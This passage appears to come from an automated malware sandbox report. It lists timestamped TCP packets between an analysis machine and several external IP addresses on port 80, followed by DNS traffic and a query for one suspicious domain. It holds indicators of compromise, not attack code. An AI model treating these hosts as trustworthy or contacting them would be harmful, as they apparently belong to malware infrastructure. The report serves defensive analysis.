                                                            Nov 29, 2024 15:12:47.242558002 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:47.242650986 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:48.402462959 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:48.402616024 CET8049828185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:48.402681112 CET4982880192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:48.624003887 CET4982880192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:49.651276112 CET4983480192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:49.771214962 CET8049834185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:49.771296978 CET4983480192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:49.784210920 CET4983480192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:49.904118061 CET8049834185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:51.146523952 CET8049834185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:51.146656036 CET8049834185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:51.146719933 CET4983480192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:51.150413036 CET4983480192.168.2.4185.27.134.206
                                                            Nov 29, 2024 15:12:51.270581007 CET8049834185.27.134.206192.168.2.4
                                                            Nov 29, 2024 15:12:57.290878057 CET4985180192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:12:57.411004066 CET8049851106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:12:57.411087990 CET4985180192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:12:57.426103115 CET4985180192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:12:57.546108007 CET8049851106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:12:58.944375992 CET4985180192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:12:59.111465931 CET8049851106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:12:59.955260992 CET4985780192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:00.075722933 CET8049857106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:00.077161074 CET4985780192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:00.092225075 CET4985780192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:00.212291002 CET8049857106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:01.608423948 CET4985780192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:01.634588957 CET8049851106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:01.634670019 CET4985180192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:01.728880882 CET8049857106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:01.728940964 CET4985780192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:02.627015114 CET4986480192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:02.747124910 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.747250080 CET4986480192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:02.762598038 CET4986480192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:02.882879972 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.882910967 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883064032 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883073092 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883160114 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883168936 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883256912 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883323908 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:02.883383989 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:04.273813963 CET4986480192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:04.394043922 CET8049864106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:04.394099951 CET4986480192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:05.283529043 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:05.403532028 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:05.403676033 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:05.412821054 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:05.532795906 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203561068 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203612089 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203679085 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203695059 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203742981 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:10.203778982 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:10.203809977 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203824997 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203836918 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203845978 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:10.203888893 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:10.208188057 CET4987080192.168.2.4106.15.109.33
                                                            Nov 29, 2024 15:13:10.328138113 CET8049870106.15.109.33192.168.2.4
                                                            Nov 29, 2024 15:13:15.835803986 CET4989380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:15.955910921 CET804989345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:15.957535982 CET4989380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:15.977361917 CET4989380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:16.097482920 CET804989345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:17.310034990 CET804989345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:17.310302019 CET804989345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:17.310370922 CET4989380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:17.502634048 CET4989380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:18.517843962 CET4990080192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:18.637914896 CET804990045.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:18.638035059 CET4990080192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:18.652610064 CET4990080192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:18.772711039 CET804990045.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:19.994225979 CET804990045.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:19.994282961 CET804990045.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:19.994374037 CET4990080192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:20.155329943 CET4990080192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:21.227927923 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:21.348062038 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.348197937 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:21.376003981 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:21.496352911 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496366024 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496416092 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496424913 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496566057 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496576071 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496709108 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496756077 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:21.496843100 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:22.662872076 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:22.717834949 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:22.779165983 CET804990745.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:22.779254913 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:22.889708996 CET4990780192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:23.912055969 CET4991380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:24.032140970 CET804991345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:24.032259941 CET4991380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:24.068701982 CET4991380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:24.188810110 CET804991345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:25.382369995 CET804991345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:25.382472992 CET804991345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:25.382574081 CET4991380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:25.385273933 CET4991380192.168.2.445.141.156.114
                                                            Nov 29, 2024 15:13:25.505228996 CET804991345.141.156.114192.168.2.4
                                                            Nov 29, 2024 15:13:31.466990948 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:31.586971045 CET804992927.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:31.587063074 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:31.601845026 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:31.721791029 CET804992927.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:32.990022898 CET804992927.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:33.030275106 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:33.108464956 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:33.191695929 CET804992927.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:33.191778898 CET4992980192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:34.127299070 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:34.247970104 CET804993627.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:34.248048067 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:34.263957024 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:34.383941889 CET804993627.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:35.605968952 CET804993627.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:35.655292034 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:35.780369043 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:35.798669100 CET804993627.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:35.798743010 CET4993680192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:36.799012899 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:36.919055939 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:36.919141054 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:36.934530973 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:37.054724932 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.054755926 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.054891109 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.054902077 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.054997921 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.055008888 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.055099964 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.055164099 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:37.055207968 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:38.315608025 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:38.358391047 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:38.436633110 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:38.515240908 CET804994327.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:38.515341043 CET4994380192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:39.455468893 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:39.576013088 CET804995027.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:39.576164007 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:39.585872889 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:39.705943108 CET804995027.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:40.969880104 CET804995027.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:41.014651060 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:41.171715021 CET804995027.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:41.171813965 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:41.173904896 CET4995080192.168.2.427.124.4.246
                                                            Nov 29, 2024 15:13:41.293822050 CET804995027.124.4.246192.168.2.4
                                                            Nov 29, 2024 15:13:46.569175959 CET4996780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:46.689153910 CET8049967104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:46.689266920 CET4996780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:46.703783989 CET4996780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:46.823730946 CET8049967104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:48.217888117 CET4996780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:48.338493109 CET8049967104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:48.338588953 CET4996780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:49.236464024 CET4997380192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:49.356462002 CET8049973104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:49.356530905 CET4997380192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:49.372173071 CET4997380192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:49.492316008 CET8049973104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:50.874123096 CET4997380192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:50.994870901 CET8049973104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:50.995069981 CET4997380192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:51.906445026 CET4998080192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:52.026772022 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.026947975 CET4998080192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:52.045012951 CET4998080192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:52.166079998 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166095018 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166130066 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166187048 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166239023 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166249037 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166363955 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166373968 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:52.166423082 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:53.560252905 CET4998080192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:53.680629015 CET8049980104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:53.680684090 CET4998080192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:54.570008993 CET4998780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:54.690006971 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:54.693802118 CET4998780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:54.703702927 CET4998780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:54.823796034 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:56.800677061 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:56.800697088 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:56.800709009 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:13:56.800817966 CET4998780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:56.803692102 CET4998780192.168.2.4104.21.40.167
                                                            Nov 29, 2024 15:13:57.018476009 CET8049987104.21.40.167192.168.2.4
                                                            Nov 29, 2024 15:14:02.480637074 CET5000580192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:02.600760937 CET805000513.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:02.600851059 CET5000580192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:02.637226105 CET5000580192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:02.757258892 CET805000513.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:03.705934048 CET805000513.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:03.706015110 CET5000580192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:04.139822960 CET5000580192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:04.259788990 CET805000513.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:05.159991026 CET5001280192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:05.280071974 CET805001213.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:05.280148029 CET5001280192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:05.298914909 CET5001280192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:05.418924093 CET805001213.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:06.424190044 CET805001213.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:06.424247026 CET5001280192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:06.811674118 CET5001280192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:06.931579113 CET805001213.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:07.830207109 CET5001980192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:08.036572933 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.036695004 CET5001980192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:08.055191040 CET5001980192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:08.175561905 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175595999 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175630093 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175681114 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175731897 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175806999 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175837040 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175935984 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:08.175983906 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:09.187263966 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:09.187480927 CET5001980192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:09.561851025 CET5001980192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:09.681883097 CET805001913.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:10.580106020 CET5002680192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:10.700114012 CET805002613.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:10.701340914 CET5002680192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:10.710968971 CET5002680192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:10.830991983 CET805002613.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:11.847404003 CET805002613.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:11.847505093 CET805002613.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:11.847600937 CET5002680192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:11.851351976 CET5002680192.168.2.413.248.169.48
                                                            Nov 29, 2024 15:14:11.971338034 CET805002613.248.169.48192.168.2.4
                                                            Nov 29, 2024 15:14:17.291791916 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:17.411842108 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:17.412187099 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:17.433012009 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:17.553144932 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733575106 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733604908 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733617067 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733707905 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.733752012 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733762980 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733776093 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733800888 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.733818054 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.733977079 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.733989000 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.734045982 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.734116077 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.734127998 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.734170914 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.854043007 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.854058027 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.854146004 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.858920097 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.905412912 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.936786890 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.943893909 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.943936110 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.944010019 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.944065094 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:18.946480036 CET8050036203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:18.946532011 CET5003680192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:20.595988989 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:20.716088057 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:20.716341972 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:20.732336998 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:20.852752924 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040436029 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040510893 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040523052 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040560961 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.040679932 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040692091 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040703058 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040714025 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040735960 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.040760994 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.040875912 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040921926 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.040956020 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040966988 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.040999889 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.160573006 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.160790920 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.160840034 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.164736986 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.217849970 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.250890970 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.250941992 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.251008987 CET5003780192.168.2.4203.161.42.73
                                                            Nov 29, 2024 15:14:22.253571987 CET8050037203.161.42.73192.168.2.4
                                                            Nov 29, 2024 15:14:22.253623962 CET5003780192.168.2.4203.161.42.73

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 29, 2024 15:11:50.652173996 CET5101453192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:11:51.066225052 CET53510141.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:07.627948046 CET6161553192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:08.440308094 CET53616151.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:23.678281069 CET4987753192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:24.670898914 CET4987753192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:25.671030045 CET4987753192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:26.558633089 CET53498771.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:26.558645010 CET53498771.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:26.558654070 CET53498771.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:41.143053055 CET6312053192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:41.661559105 CET53631201.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:56.166682005 CET6231953192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:57.170994043 CET6231953192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:12:57.288373947 CET53623191.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:12:57.307871103 CET53623191.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:13:15.221520901 CET4975553192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:13:15.832318068 CET53497551.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:13:30.418087006 CET5563953192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:13:31.421212912 CET5563953192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:13:31.464487076 CET53556391.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:13:31.559236050 CET53556391.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:13:46.189975977 CET5006253192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:13:46.566554070 CET53500621.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:14:01.815536976 CET6293153192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:14:02.423093081 CET53629311.1.1.1192.168.2.4
                                                            Nov 29, 2024 15:14:16.865215063 CET6358453192.168.2.41.1.1.1
                                                            Nov 29, 2024 15:14:17.284111977 CET53635841.1.1.1192.168.2.4

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                            Nov 29, 2024 15:11:50.652173996 CET192.168.2.41.1.1.10x855fStandard query (0)www.izmirescortg.xyzA (IP address)IN (0x0001)false
